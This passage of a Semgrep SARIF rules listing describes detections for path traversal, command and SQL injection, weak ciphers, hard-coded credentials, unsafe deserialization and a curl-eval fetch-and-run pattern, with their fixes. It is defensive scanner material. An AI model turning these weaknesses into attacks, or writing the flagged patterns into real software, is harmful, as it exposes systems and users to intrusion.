go.secrets.ssh.ssh-empty-password.ssh-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Default session middleware settings: `path` not set. It indicates the path of the cookie; use it to compare against the request path. If this and domain match, then send the cookie in the request."},"help":{"markdown":"Default session middleware settings: `path` not set. It indicates the path of the cookie; use it to compare against the request path. If this and domain match, then send the cookie in the request.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-path)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Default session middleware settings: `path` not set. It indicates the path of the cookie; use it to compare against the request path. If this and domain match, then send the cookie in the request."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-path","id":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-path","name":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-path","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-path"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.path-traversal.grpc-path-traversal-taint.grpc-path-traversal-taint)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function."},"helpUri":"https://semgrep.dev/r/go.grpc.path-traversal.grpc-path-traversal-taint.grpc-path-traversal-taint","id":"go.grpc.path-traversal.grpc-path-traversal-taint.grpc-path-traversal-taint","name":"go.grpc.path-traversal.grpc-path-traversal-taint.grpc-path-traversal-taint","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.path-traversal.grpc-path-traversal-taint.grpc-path-traversal-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`$TY` is setup to use the OFB cipher mode. This mode is insecure it is vulnerable to replay attacks, predictable outputs if IVs are reused. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`."},"help":{"markdown":"`$TY` is setup to use the OFB cipher mode. This mode is insecure it is vulnerable to replay attacks, predictable outputs if IVs are reused. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.crypto.ciphers.ofb-mode.ofb-mode)\n - [https://cwe.mitre.org/data/definitions/327.html](https://cwe.mitre.org/data/definitions/327.html)\n - [https://learn.microsoft.com/en-us/dotnet/fundamentals/code-analysis/quality-rules/ca5358](https://learn.microsoft.com/en-us/dotnet/fundamentals/code-analysis/quality-rules/ca5358)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"`$TY` is setup to use the OFB cipher mode. This mode is insecure it is vulnerable to replay attacks, predictable outputs if IVs are reused. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.crypto.ciphers.ofb-mode.ofb-mode","id":"csharp.dotnet.crypto.ciphers.ofb-mode.ofb-mode","name":"csharp.dotnet.crypto.ciphers.ofb-mode.ofb-mode","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.crypto.ciphers.ofb-mode.ofb-mode"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The profiling 'pprof' endpoint is automatically exposed on /debug/pprof. This could leak information about the server. Instead, use `import \"net/http/pprof\"`. See https://www.farsightsecurity.com/blog/txt-record/go-remote-profiling-20161028/ for more information and mitigation."},"help":{"markdown":"The profiling 'pprof' endpoint is automatically exposed on /debug/pprof. This could leak information about the server. Instead, use `import \"net/http/pprof\"`. See https://www.farsightsecurity.com/blog/txt-record/go-remote-profiling-20161028/ for more information and mitigation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.pprof.pprof-debug-exposure)\n - [https://www.farsightsecurity.com/blog/txt-record/go-remote-profiling-20161028/](https://www.farsightsecurity.com/blog/txt-record/go-remote-profiling-20161028/)\n","text":"The profiling 'pprof' endpoint is automatically exposed on /debug/pprof. This could leak information about the server. Instead, use `import \"net/http/pprof\"`. See https://www.farsightsecurity.com/blog/txt-record/go-remote-profiling-20161028/ for more information and mitigation."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.pprof.pprof-debug-exposure","id":"go.lang.security.audit.net.pprof.pprof-debug-exposure","name":"go.lang.security.audit.net.pprof.pprof-debug-exposure","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","LOW CONFIDENCE","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.pprof.pprof-debug-exposure"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application should check the trust result of the SecTrustEvaluate API call to ensure that the connection is trusted. Failure to do so may allow connections to proceed under insecure circumstances, resulting in a reduction in transport layer security guarantees."},"help":{"markdown":"The application should check the trust result of the SecTrustEvaluate API call to ensure that the connection is trusted. Failure to do so may allow connections to proceed under insecure circumstances, resulting in a reduction in transport layer security guarantees.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.sect.sect-misuse.sectrustevaluate-misuse)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n","text":"The application should check the trust result of the SecTrustEvaluate API call to ensure that the connection is trusted. Failure to do so may allow connections to proceed under insecure circumstances, resulting in a reduction in transport layer security guarantees."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.sect.sect-misuse.sectrustevaluate-misuse","id":"swift.insecure-communication.sect.sect-misuse.sectrustevaluate-misuse","name":"swift.insecure-communication.sect.sect-misuse.sectrustevaluate-misuse","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.sect.sect-misuse.sectrustevaluate-misuse"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyjwt.python-pyjwt-hardcoded-secret.python-pyjwt-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.pyjwt.python-pyjwt-hardcoded-secret.python-pyjwt-hardcoded-secret","id":"python.pyjwt.python-pyjwt-hardcoded-secret.python-pyjwt-hardcoded-secret","name":"python.pyjwt.python-pyjwt-hardcoded-secret.python-pyjwt-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyjwt.python-pyjwt-hardcoded-secret.python-pyjwt-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"HTTP method [$METHOD] to Laravel route $ROUTE_NAME is vulnerable to SQL injection via string concatenation or unsafe interpolation."},"help":{"markdown":"HTTP method [$METHOD] to Laravel route $ROUTE_NAME is vulnerable to SQL injection via string concatenation or unsafe interpolation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-api-route-sql-injection.laravel-api-route-sql-injection)\n - [https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md)\n","text":"HTTP method [$METHOD] to Laravel route $ROUTE_NAME is vulnerable to SQL injection via string concatenation or unsafe interpolation."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-api-route-sql-injection.laravel-api-route-sql-injection","id":"php.laravel.security.laravel-api-route-sql-injection.laravel-api-route-sql-injection","name":"php.laravel.security.laravel-api-route-sql-injection.laravel-api-route-sql-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-api-route-sql-injection.laravel-api-route-sql-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Data is being eval'd from a `curl` command. An attacker with control of the server in the `curl` command could inject malicious code into the `eval`, resulting in a system comrpomise. Avoid eval'ing untrusted data if you can. If you must do this, consider checking the SHA sum of the content returned by the server to verify its integrity."},"help":{"markdown":"Data is being eval'd from a `curl` command. An attacker with control of the server in the `curl` command could inject malicious code into the `eval`, resulting in a system comrpomise. Avoid eval'ing untrusted data if you can. If you must do this, consider checking the SHA sum of the content returned by the server to verify its integrity.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.github-actions.security.curl-eval.curl-eval)\n - [https://docs.github.com/en/actions/learn-github-actions/security-hardening-for-github-actions#understanding-the-risk-of-script-injections](https://docs.github.com/en/actions/learn-github-actions/security-hardening-for-github-actions#understanding-the-risk-of-script-injections)\n","text":"Data is being eval'd from a `curl` command. An attacker with control of the server in the `curl` command could inject malicious code into the `eval`, resulting in a system comrpomise. Avoid eval'ing untrusted data if you can. If you must do this, consider checking the SHA sum of the content returned by the server to verify its integrity."},"helpUri":"https://semgrep.dev/r/yaml.github-actions.security.curl-eval.curl-eval","id":"yaml.github-actions.security.curl-eval.curl-eval","name":"yaml.github-actions.security.curl-eval.curl-eval","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.github-actions.security.curl-eval.curl-eval"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.okhttp.secrets.empty-credentials.empty.Credentials)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.okhttp.secrets.empty-credentials.empty.Credentials","id":"kotlin.okhttp.secrets.empty-credentials.empty.Credentials","name":"kotlin.okhttp.secrets.empty-credentials.empty.Credentials","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.okhttp.secrets.empty-credentials.empty.Credentials"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.jjwt.jjwt-hardcode.jjwt-hardcode)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.jjwt.jjwt-hardcode.jjwt-hardcode","id":"kotlin.jjwt.jjwt-hardcode.jjwt-hardcode","name":"kotlin.jjwt.jjwt-hardcode.jjwt-hardcode","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.jjwt.jjwt-hardcode.jjwt-hardcode"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-if-array.tainted-os-command-stdlib-aws-lambda-secure-if-array)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-if-array.tainted-os-command-stdlib-aws-lambda-secure-if-array","id":"python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-if-array.tainted-os-command-stdlib-aws-lambda-secure-if-array","name":"python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-if-array.tainted-os-command-stdlib-aws-lambda-secure-if-array","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-if-array.tainted-os-command-stdlib-aws-lambda-secure-if-array"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected HTTPConnectionPool. This will transmit data in cleartext. It is recommended to use HTTPSConnectionPool instead for to encrypt communications."},"help":{"markdown":"Detected HTTPConnectionPool. This will transmit data in cleartext. It is recommended to use HTTPSConnectionPool instead for to encrypt communications.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.network.http-not-https-connection.http-not-https-connection)\n - [https://urllib3.readthedocs.io/en/1.2.1/pools.html#urllib3.connectionpool.HTTPSConnectionPool](https://urllib3.readthedocs.io/en/1.2.1/pools.html#urllib3.connectionpool.HTTPSConnectionPool)\n","text":"Detected HTTPConnectionPool. This will transmit data in cleartext. It is recommended to use HTTPSConnectionPool instead for to encrypt communications."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.network.http-not-https-connection.http-not-https-connection","id":"python.lang.security.audit.network.http-not-https-connection.http-not-https-connection","name":"python.lang.security.audit.network.http-not-https-connection.http-not-https-connection","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.network.http-not-https-connection.http-not-https-connection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"help":{"markdown":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.avoid-tainted-http-request.avoid-tainted-http-request)\n - [https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/file_access/index.markdown](https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/file_access/index.markdown)\n","text":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.avoid-tainted-http-request.avoid-tainted-http-request","id":"ruby.rails.security.audit.avoid-tainted-http-request.avoid-tainted-http-request","name":"ruby.rails.security.audit.avoid-tainted-http-request.avoid-tainted-http-request","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.avoid-tainted-http-request.avoid-tainted-http-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"this function is only available on Python 3.6+"},"help":{"markdown":"this function is only available on Python 3.6+\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python36.python36-compatibility-ssl)\n","text":"this function is only available on Python 3.6+"},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python36.python36-compatibility-ssl","id":"python.lang.compatibility.python36.python36-compatibility-ssl","name":"python.lang.compatibility.python36.python36-compatibility-ssl","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python36.python36-compatibility-ssl"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected Flask route directly returning a formatted string. This is subject to cross-site scripting if user input can reach the string. Consider using the template engine instead and rendering pages with 'render_template()'."},"help":{"markdown":"Detected Flask route directly returning a formatted string. This is subject to cross-site scripting if user input can reach the string. Consider using the template engine instead and rendering pages with 'render_template()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.directly-returned-format-string.directly-returned-format-string)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected Flask route directly returning a formatted string. This is subject to cross-site scripting if user input can reach the string. Consider using the template engine instead and rendering pages with 'render_template()'."},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.directly-returned-format-string.directly-returned-format-string","id":"python.flask.security.audit.directly-returned-format-string.directly-returned-format-string","name":"python.flask.security.audit.directly-returned-format-string.directly-returned-format-string","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.directly-returned-format-string.directly-returned-format-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected RC2 cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM."},"help":{"markdown":"Detected RC2 cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm-rc2.insecure-cipher-algorithm-rc2)\n - [https://cwe.mitre.org/data/definitions/326.html](https://cwe.mitre.org/data/definitions/326.html)\n - [https://www.pycryptodome.org/src/cipher/cipher](https://www.pycryptodome.org/src/cipher/cipher)\n","text":"Detected RC2 cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm-rc2.insecure-cipher-algorithm-rc2","id":"python.pycryptodome.security.insecure-cipher-algorithm-rc2.insecure-cipher-algorithm-rc2","name":"python.pycryptodome.security.insecure-cipher-algorithm-rc2.insecure-cipher-algorithm-rc2","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insecure-cipher-algorithm-rc2.insecure-cipher-algorithm-rc2"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input entering a `subprocess` call unsafely. This could result in a command injection vulnerability. An attacker could use this vulnerability to execute arbitrary commands on the host, which allows them to download malware, scan sensitive data, or run any command they wish on the server. Do not let users choose the command to run. In general, prefer to use Python API versions of system commands. If you must use subprocess, use a dictionary to allowlist a set of commands."},"help":{"markdown":"Detected user input entering a `subprocess` call unsafely. This could result in a command injection vulnerability. An attacker could use this vulnerability to execute arbitrary commands on the host, which allows them to download malware, scan sensitive data, or run any command they wish on the server. Do not let users choose the command to run. In general, prefer to use Python API versions of system commands. If you must use subprocess, use a dictionary to allowlist a set of commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.command.subprocess-injection.subprocess-injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Detected user input entering a `subprocess` call unsafely. This could result in a command injection vulnerability. An attacker could use this vulnerability to execute arbitrary commands on the host, which allows them to download malware, scan sensitive data, or run any command they wish on the server. Do not let users choose the command to run. In general, prefer to use Python API versions of system commands. If you must use subprocess, use a dictionary to allowlist a set of commands."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.command.subprocess-injection.subprocess-injection","id":"python.django.security.injection.command.subprocess-injection.subprocess-injection","name":"python.django.security.injection.command.subprocess-injection.subprocess-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.command.subprocess-injection.subprocess-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-torch-pickle-django.tainted-torch-pickle-django)\n - [https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/;](https://davidhamann.de/2020/04/05/exploiting-python-pickle/;)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f)](https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f))\n - [https://pytorch.org/docs/stable/generated/torch.load.html](https://pytorch.org/docs/stable/generated/torch.load.html)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-torch-pickle-django.tainted-torch-pickle-django","id":"python.django.deserialization.tainted-torch-pickle-django.tainted-torch-pickle-django","name":"python.django.deserialization.tainted-torch-pickle-django.tainted-torch-pickle-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-torch-pickle-django.tainted-torch-pickle-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. Use the `html/template` package which will safely render HTML instead, or inspect that the HTML is rendered safely."},"help":{"markdown":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. Use the `html/template` package which will safely render HTML instead, or inspect that the HTML is rendered 